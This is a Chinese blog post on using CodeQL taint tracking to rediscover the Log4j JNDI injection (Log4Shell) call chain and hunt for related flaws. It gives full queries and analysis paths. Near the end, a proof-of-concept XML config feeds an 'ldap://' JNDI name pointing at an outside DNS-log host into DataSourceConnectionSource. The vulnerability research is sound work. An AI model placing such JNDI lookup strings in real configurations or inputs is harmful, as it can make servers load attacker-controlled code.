利用CodeQL分析并挖掘Log4j漏洞
前言
分析漏洞的本质是为了能让我们从中学习漏洞挖掘者的思路以及挖掘到新的漏洞,而CodeQL就是一款可以将我们对漏洞的理解快速转化为可实现的规则并挖掘漏洞的利器。根据网上的传言Log4j2的RCE漏洞就是作者通过CodeQL挖掘出的。虽然如何挖掘的我们不得而知,但我们现在站在事后的角度再去想想,可以推测一下作者如何通过CodeQL挖掘到漏洞的,并尝试基于作者的思路挖掘新漏洞。
分析过程
首先我们要构建Log4j的数据库,由于lgtm.com
中构建的是新版本的Log4j数据库,所以只能手动构建数据库了。首先从github获取源码并切换到2.14.1版本。
git clone https://github.com/apache/logging-log4j2.git git checkout be881e5
由于我们这次分析的主要是log4j-core
和log4j-api
中的内容,所以打开根目录的Pom.xml注释下面的内容。
log4j-api-java9 log4j-api log4j-core-java9 log4j-core
由于log4j-api-java9
和log4j-core- java9
需要依赖JDK9,所以要先下载JDK9并且在C:\Users\用户名\.m2\toolchains.xml
中加上下面的内容。
jdk 9 sun C:\Program Files\Java\jdk-9.0.4
通过下面的命令完成数据库构建
CodeQL database create Log4jDB --language=java --overwrite --command="mvn clean install -Dmaven.test.skip=true"
构建好数据库后,我们要找JNDI注入的漏洞,首先要确定在这套系统中调用了InitialContext#lookup方法。在LookupInterface项目中已经集成了常见的发起JNDI请求的类,只要稍微改一下即可。
首先定义Context类型,这个类中综合了可能发起JNDI请求的类。
class Context extends RefType{ Context(){ this.hasQualifiedName("javax.naming", "Context") or this.hasQualifiedName("javax.naming", "InitialContext") or this.hasQualifiedName("org.springframework.jndi", "JndiCallback") or this.hasQualifiedName("org.springframework.jndi", "JndiTemplate") or this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate") or this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback") or this.getQualifiedName().matches("%JndiCallback") or this.getQualifiedName().matches("%JndiLocatorDelegate") or this.getQualifiedName().matches("%JndiTemplate") } }
下面寻找那里调用了Context
的lookup方法。
from Call call,Callable parseExpression where call.getCallee() = parseExpression and parseExpression.getDeclaringType() instanceof Context and parseExpression.hasName("lookup") select call
DataSourceConnectionSource#createConnectionSource
@PluginFactory public static DataSourceConnectionSource createConnectionSource(@PluginAttribute("jndiName") final String jndiName) { if (Strings.isEmpty(jndiName)) { LOGGER.error("No JNDI name provided."); return null; } try { final InitialContext context = new InitialContext(); final DataSource dataSource = (DataSource) context.lookup(jndiName); if (dataSource == null) { LOGGER.error("No data source found with JNDI name [" + jndiName + "]."); return null; } return new DataSourceConnectionSource(jndiName, dataSource); } catch (final NamingException e) { LOGGER.error(e.getMessage(), e); return null; } }
JndiManager#lookup
@SuppressWarnings("unchecked") public <T> T lookup(final String name) throws NamingException { return (T) this.context.lookup(name); }
找到sink后我们还需要找到source,虽然Codeql定义了RemoteFlowSource
支持多种source,但是我们还是要根据实际的代码业务来分析可能作为source的点。
在Log4j作为日志记录的工具,除了从HTTP请求中获取输入点外,还可以在记录日志请求或者解析配置文件中来获取source。先不看解析配置文件获取source的点了,因为这需要分析Log4j解析配置文件的流程比较复杂。所以目前我们只考虑通过日志记录作为source的情况。稍微了解Log4j的同学都知道,Log4j会通过error/fatal/info/debug/trace
等方法对不同级别的日志进行记录。通过分析我们可以看到我们输入的message都调用了logIfEnabled
方法并作为第四个参数输入,所以可以将这里定义为source。
下面使用全局污点追踪分析JNDI漏洞,还是套用LookupInterface项目中的代码,修改source部分即可。
/** *@name Tainttrack Context lookup *@kind path-problem */ import java import semmle.code.java.dataflow.FlowSources import DataFlow::PathGraph class Context extends RefType{ Context(){ this.hasQualifiedName("javax.naming", "Context") or this.hasQualifiedName("javax.naming", "InitialContext") or this.hasQualifiedName("org.springframework.jndi", "JndiCallback") or this.hasQualifiedName("org.springframework.jndi", "JndiTemplate") or this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate") or this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback") or this.getQualifiedName().matches("%JndiCallback") or this.getQualifiedName().matches("%JndiLocatorDelegate") or this.getQualifiedName().matches("%JndiTemplate") } } class Logger extends RefType{ Logger(){ this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger") } } predicate isLookup(Expr arg) { exists(MethodAccess ma | ma.getMethod().getName() = "lookup" and ma.getMethod().getDeclaringType() instanceof Context and arg = ma.getArgument(0) ) } predicate isLogging(Expr arg) { exists(MethodAccess ma | ma.getMethod().getName() = "logIfEnabled" and ma.getMethod().getDeclaringType() instanceof Logger and arg = ma.getArgument(3) ) } class TainttrackLookup extends TaintTracking::Configuration { TainttrackLookup() { this = "TainttrackLookup" } override predicate isSource(DataFlow::Node source) { exists(Expr exp | isLogging(exp) and source.asExpr() = exp ) } override predicate isSink(DataFlow::Node sink) { exists(Expr arg | isLookup(arg) and sink.asExpr() = arg ) } } from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink where config.hasFlowPath(source, sink) select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
虽然这些也得到了很多查询结果,但是在实际使用Log4j打印日志时可能不会带上Marker参数而是直接写入messge的内容。
所以我们现在要追踪的source应该是带有一个参数的error/fatal/info/debug/trace
等方法。我这里以error方法为例对source部分进行修改。
class LoggerInput extends Method { LoggerInput(){ //限定调用的类名、方法名、以及方法只有一个参数 this.getDeclaringType() instanceof Logger and this.hasName("error") and this.getNumberOfParameters() = 1 } //将第一个参数作为source Parameter getAnUntrustedParameter() { result = this.getParameter(0) } } override predicate isSource(DataFlow::Node source) { exists(LoggerInput LoggerMethod | source.asParameter() = LoggerMethod.getAnUntrustedParameter()) }
这样我们就得到了多条链,现在我们要写个Demo验证这个链是否可行,比如最简单的logger.error("xxxxx");
1 message : Message AbstractLogger.java:709:23 2 message : Message AbstractLogger.java:710:47 3 message : Message AbstractLogger.java:1833:89 4 message : Message AbstractLogger.java:1835:38 5 message : Message Logger.java:262:70 6 message : Message Logger.java:263:52 7 msg : Message Logger.java:617:64 8 msg : Message Logger.java:620:78 9 msg : Message RegexFilter.java:73:87 10 msg : Message RegexFilter.java:78:63 ... 64 convertJndiName(...) : String JndiLookup.java:54:33 65 jndiName : String JndiLookup.java:56:56 66 name : String JndiManager.java:171:25 67 name JndiManager.java:172:40 Path
但是这条链只有配置了Filter为RegexFilter
才会继续执行,而默认没有配置则为空。
所以这种方式就稍微有些限制,所以我们再去看看其他链。这条链似乎不用配置Filter。
1 message : Message AbstractLogger.java:709:23 2 message : Message AbstractLogger.java:710:47 3 message : Message AbstractLogger.java:1833:89 4 message : Message AbstractLogger.java:1836:51 5 message : Message AbstractLogger.java:2139:94 6 message : Message AbstractLogger.java:2142:59 7 message : Message AbstractLogger.java:2155:43 8 message : Message AbstractLogger.java:2159:67 9 message : Message AbstractLogger.java:2202:32 10 message : Message AbstractLogger.java:2205:48 11 message : Message AbstractLogger.java:2116:9 12 message : Message AbstractLogger.java:2117:41 ... 78 var : String Interpolator.java:230:92 79 key : String JndiLookup.java:50:48 80 key : String JndiLookup.java:54:49 81 jndiName : String JndiLookup.java:70:36 82 jndiName : String JndiLookup.java:74:16 83 convertJndiName(...) : String JndiLookup.java:54:33 84 jndiName : String JndiLookup.java:56:56 85 name : String JndiManager.java:171:25 86 name JndiManager.java:172:40
但是在AbstractLogger#tryLogMessage
中Codeql会直接分析到AbstractLogger#log
而实际请求时会解析到Logger#log
方法。这是因为Logger
是AbstractLogger
的子类并且也实现了log方法,而且我们实例化的也是Logger对象,所以这里会调用到Logger#log
。
实际请求
CodeQL分析
再看看下面这条链
1 message : Message AbstractLogger.java:709:23 2 message : Message AbstractLogger.java:710:47 3 message : Message AbstractLogger.java:1833:89 4 message : Message AbstractLogger.java:1836:51 5 message : Message AbstractLogger.java:2139:94 6 message : Message AbstractLogger.java:2142:59 7 message : Message AbstractLogger.java:2155:43 8 message : Message AbstractLogger.java:2159:67 9 message : Message AbstractLogger.java:2202:32 10 message : Message AbstractLogger.java:2205:48 11 message : Message Logger.java:158:9 12 message : Message Logger.java:162:17 13 data : Message AwaitCompletionReliabilityStrategy.java:78:83 14 data : Message AwaitCompletionReliabilityStrategy.java:82:67 15 data : Message LoggerConfig.java:430:28 16 data : Message LoggerConfig.java:454:17 17 message : Message ReusableLogEventFactory.java:78:86 18 message : Message ReusableLogEventFactory.java:100:27 19 msg : Message MutableLogEvent.java:209:28 20 (...)... : Message MutableLogEvent.java:211:46 21 reusable : Message MutableLogEvent.java:212:13 22 parameter this : Message ReusableObjectMessage.java:47:17 23 obj : Object ReusableObjectMessage.java:48:44 ... 88 convertJndiName(...) : String JndiLookup.java:54:33 89 jndiName : String JndiLookup.java:56:56 90 name : String JndiManager.java:171:25 91 name JndiManager.java:172:40
这条链在执行到MutableLogEvent#setMessage
时和CodeQL的分析结果略有不同。
在CodeQL中resusable.formatTo
会调用到ReusableObjectMessage
中。
但是实际运行过程中由于MessgeFactorty创建Message对象时默认创建的是ResableSimpleMessage
对象,所以会执行到ResableSimpleMessage#formatTo
方法。
所以似乎目前使用使用CodeQL的规则是发现不了Log4jShell那个漏洞的,既然我们已经知道了这个漏洞的触发链,可以分析下CodeQL为什么没有分析出来。
通过之前对CodeQL检测出的调用链分析,CodeQL已经分析到了createEvent方法。
查看createEvent方法的调用,在Log4jShell
的触发链中实际上是在对返回LogEvent的处理过程中触发的,所以这里CodeQL可能没有将返回的LogEvent对象再当作污点进行分析,所以导致没有分析成功。
我们可以创建一个isAdditionalTaintStep
函数,将ReusableLogEventFactory#createEvent
的第六个参数Message和LoggerConfig#log
第一个参数logEvent
连接起来。
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) { exists(MethodAccess ma,MethodAccess ma2 | ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory") and ma.getMethod().hasName("createEvent") and fromNode.asExpr()=ma.getArgument(5) and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig") and ma2.getMethod().hasName("log") and ma2.getMethod().getNumberOfParameters() = 2 and toNode.asExpr()=ma2.getArgument(0) ) }
最后我们就可以通过CodeQL分析到Log4j shell漏洞的调用链。
1 message : Message AbstractLogger.java:709:23 2 message : Message AbstractLogger.java:710:47 3 message : Message AbstractLogger.java:1833:89 4 message : Message AbstractLogger.java:1836:51 5 message : Message AbstractLogger.java:2139:94 6 message : Message AbstractLogger.java:2142:59 7 message : Message AbstractLogger.java:2155:43 8 message : Message AbstractLogger.java:2159:67 9 message : Message AbstractLogger.java:2202:32 10 message : Message AbstractLogger.java:2205:48 11 message : Message Logger.java:158:9 12 message : Message Logger.java:162:17 13 data : Message DefaultReliabilityStrategy.java:61:83 14 data : Message DefaultReliabilityStrategy.java:63:69 15 data : Message LoggerConfig.java:430:28 16 data : Message LoggerConfig.java:454:96 17 message : Message ReusableLogEventFactory.java:58:47 18 message : Message ReusableLogEventFactory.java:60:67 19 event : LogEvent LoggerConfig.java:469:13 20 event : LogEvent LoggerConfig.java:479:24 21 event : LogEvent LoggerConfig.java:481:29 22 event : LogEvent LoggerConfig.java:495:34 23 event : LogEvent LoggerConfig.java:498:27 24 event : LogEvent LoggerConfig.java:536:34 25 event : LogEvent LoggerConfig.java:540:38 26 event : LogEvent AppenderControl.java:80:30 27 event : LogEvent AppenderControl.java:84:38 28 event : LogEvent AppenderControl.java:117:47 29 event : LogEvent AppenderControl.java:120:27 30 event : LogEvent AppenderControl.java:126:32 31 event : LogEvent AppenderControl.java:129:29 32 event : LogEvent AppenderControl.java:154:34 33 event : LogEvent AppenderControl.java:156:29 34 event : LogEvent AbstractDatabaseAppender.java:107:30 35 event : LogEvent AbstractDatabaseAppender.java:110:37 36 event : LogEvent AbstractDatabaseManager.java:260:42 37 event : LogEvent AbstractDatabaseManager.java:262:20 38 event : LogEvent AbstractDatabaseManager.java:122:27 39 event : LogEvent AbstractDatabaseManager.java:123:25 40 parameter this : LogEvent Log4jLogEvent.java:530:26 41 this : LogEvent Log4jLogEvent.java:534:16 42 toImmutable(...) : LogEvent AbstractDatabaseManager.java:123:25 43 this.buffer [post update] [<element>] : LogEvent AbstractDatabaseManager.java:123:9 44 this [post update] [buffer, ] : LogEvent AbstractDatabaseManager.java:123:9 45 this <.method> [post update] [buffer, ] : LogEvent AbstractDatabaseManager.java:262:13 46 getManager(...) [post update] [buffer, ] : LogEvent AbstractDatabaseAppender.java:110:13 47 this [post update] [manager, buffer, ] : LogEvent AbstractDatabaseAppender.java:110:13 48 appender [post update] [manager, buffer, ] : LogEvent AppenderControl.java:156:13 49 this <.field> [post update] [appender, manager, buffer, ] : LogEvent AppenderControl.java:156:13 50 this <.method> [post update] [appender, manager, buffer, ] : LogEvent AppenderControl.java:129:13 51 this <.method> [post update] [appender, manager, buffer, ] : LogEvent AppenderControl.java:120:13 52 this <.method> [post update] [appender, manager, buffer, ] : LogEvent AppenderControl.java:84:9 53 event : LogEvent AppenderControl.java:80:30 54 event : LogEvent AppenderControl.java:84:38 55 event : LogEvent AppenderControl.java:117:47 56 event : LogEvent AppenderControl.java:120:27 57 event : LogEvent AppenderControl.java:126:32 58 event : LogEvent AppenderControl.java:129:29 59 event : LogEvent AppenderControl.java:154:34 60 event : LogEvent AppenderControl.java:156:29 61 event : LogEvent AbstractOutputStreamAppender.java:179:24 62 event : LogEvent AbstractOutputStreamAppender.java:181:23 63 event : LogEvent AbstractOutputStreamAppender.java:188:28 64 event : LogEvent AbstractOutputStreamAppender.java:190:31 65 event : LogEvent AbstractOutputStreamAppender.java:196:38 66 event : LogEvent AbstractOutputStreamAppender.java:197:28 67 event : LogEvent GelfLayout.java:433:24 68 event : LogEvent GelfLayout.java:438:43 69 event : LogEvent GelfLayout.java:471:34 70 event : LogEvent GelfLayout.java:496:46 71 event : LogEvent StrSubstitutor.java:462:27 72 event : LogEvent StrSubstitutor.java:467:25 73 event : LogEvent StrSubstitutor.java:911:34 74 event : LogEvent StrSubstitutor.java:912:27 75 event : LogEvent StrSubstitutor.java:928:28 76 event : LogEvent StrSubstitutor.java:978:44 77 event : LogEvent StrSubstitutor.java:911:34 78 event : LogEvent StrSubstitutor.java:912:27 79 event : LogEvent StrSubstitutor.java:928:28 80 event : LogEvent StrSubstitutor.java:1033:63 81 event : LogEvent StrSubstitutor.java:1104:38 82 event : LogEvent StrSubstitutor.java:1110:32 83 event : LogEvent StructuredDataLookup.java:46:26 84 event : LogEvent StructuredDataLookup.java:50:67 85 parameter this : LogEvent RingBufferLogEvent.java:206:20 86 message : Message RingBufferLogEvent.java:210:16 87 getMessage(...) : Message StructuredDataLookup.java:50:67 88 (...)... : Message StructuredDataLookup.java:50:43 89 msg : Message StructuredDataLookup.java:54:20 90 parameter this : Message StructuredDataMessage.java:239:19 91 type : String StructuredDataMessage.java:240:16 92 getType(...) : String StructuredDataLookup.java:54:20 93 lookup(...) : String StrSubstitutor.java:1110:16 94 resolveVariable(...) : String StrSubstitutor.java:1033:47 95 varValue : String StrSubstitutor.java:1040:63 96 buf [post update] : StringBuilder StrSubstitutor.java:1040:33 97 buf [post update] : StringBuilder StrSubstitutor.java:912:34 98 bufName [post update] : StringBuilder StrSubstitutor.java:978:51 99 bufName : StringBuilder StrSubstitutor.java:979:47 100 toString(...) : String StrSubstitutor.java:979:47 101 varNameExpr : String StrSubstitutor.java:1010:55 102 substring(...) : String StrSubstitutor.java:1010:55 103 varName : String StrSubstitutor.java:1033:70 104 variableName : String StrSubstitutor.java:1104:60 105 variableName : String StrSubstitutor.java:1110:39 106 key : String JndiLookup.java:50:48 107 key : String JndiLookup.java:54:49 108 jndiName : String JndiLookup.java:70:36 109 ... + ... : String JndiLookup.java:72:20 110 convertJndiName(...) : String JndiLookup.java:54:33 111 jndiName : String JndiLookup.java:56:56 112 name : String JndiManager.java:171:25 113 name JndiManager.java:172:40
漏洞挖掘尝试
通过上面的分析可以看到,挖掘到所有的链最终的触发点都是JndiManager,这个点目前的触发已经在新版本中修复了,但是在DataSourceConnectionSource#createConnectionSource
中也直接调用了lookup方法,我们能否通过某种方式触发呢?
通过注释可以看到DataSource是Core类型插件,因此可以在XML中直接通过标签配置调用。
xml version="1.0" encoding="UTF-8"?> status="WARN"> name="Console" target="SYSTEM_OUT"> pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> jndiName="ldap://9b89e78d.dns.1433.eu.org."> level="ERROR"> ref="Console"/>
配置后可以在插件加载的过程中触发漏洞,虽然这种方式也可以造成JNDI注入,但是需要在配置文件中修改参数才能触发,所以价值不大。
最后给出整体的分析Log4j JNDI注入的CodeQL查询代码
/** *@name Tainttrack Context lookup *@kind path-problem */ import java import semmle.code.java.dataflow.FlowSources import DataFlow::PathGraph class Context extends RefType{ Context(){ this.hasQualifiedName("javax.naming", "Context") or this.hasQualifiedName("javax.naming", "InitialContext") or this.hasQualifiedName("org.springframework.jndi", "JndiCallback") or this.hasQualifiedName("org.springframework.jndi", "JndiTemplate") or this.hasQualifiedName("org.springframework.jndi", "JndiLocatorDelegate") or this.hasQualifiedName("org.apache.shiro.jndi", "JndiCallback") or this.getQualifiedName().matches("%JndiCallback") or this.getQualifiedName().matches("%JndiLocatorDelegate") or this.getQualifiedName().matches("%JndiTemplate") } } class Logger extends RefType{ Logger(){ this.hasQualifiedName("org.apache.logging.log4j.spi", "AbstractLogger") } } class LoggerInput extends Method { LoggerInput(){ this.getDeclaringType() instanceof Logger and this.hasName("error") and this.getNumberOfParameters() = 1 } Parameter getAnUntrustedParameter() { result = this.getParameter(0) } } predicate isLookup(Expr arg) { exists(MethodAccess ma | ma.getMethod().getName() = "lookup" and ma.getMethod().getDeclaringType() instanceof Context and arg = ma.getArgument(0) ) } class TainttrackLookup extends TaintTracking::Configuration { TainttrackLookup() { this = "TainttrackLookup" } override predicate isSource(DataFlow::Node source) { exists(LoggerInput LoggerMethod | source.asParameter() = LoggerMethod.getAnUntrustedParameter()) } override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) { exists(MethodAccess ma,MethodAccess ma2 | ma.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.impl", "ReusableLogEventFactory") and ma.getMethod().hasName("createEvent") and fromNode.asExpr()=ma.getArgument(5) and ma2.getMethod().getDeclaringType().hasQualifiedName("org.apache.logging.log4j.core.config", "LoggerConfig") and ma2.getMethod().hasName("log") and ma2.getMethod().getNumberOfParameters() = 2 and toNode.asExpr()=ma2.getArgument(0) ) } override predicate isSink(DataFlow::Node sink) { exists(Expr arg | isLookup(arg) and sink.asExpr() = arg ) } } from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink where config.hasFlowPath(source, sink) select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"
总结
通过CodeQL挖洞效率确实比较高,并且在官方也给出了针对很多类型漏洞的审计规则,确实可以高效的辅助挖洞,目前主要解决下面两个问题。
- 默认的Source应该只是针对HTTP请求,如何针对特定的框架去发现可能作为source的点
- 分析污点在何时会被打断并进行拼接
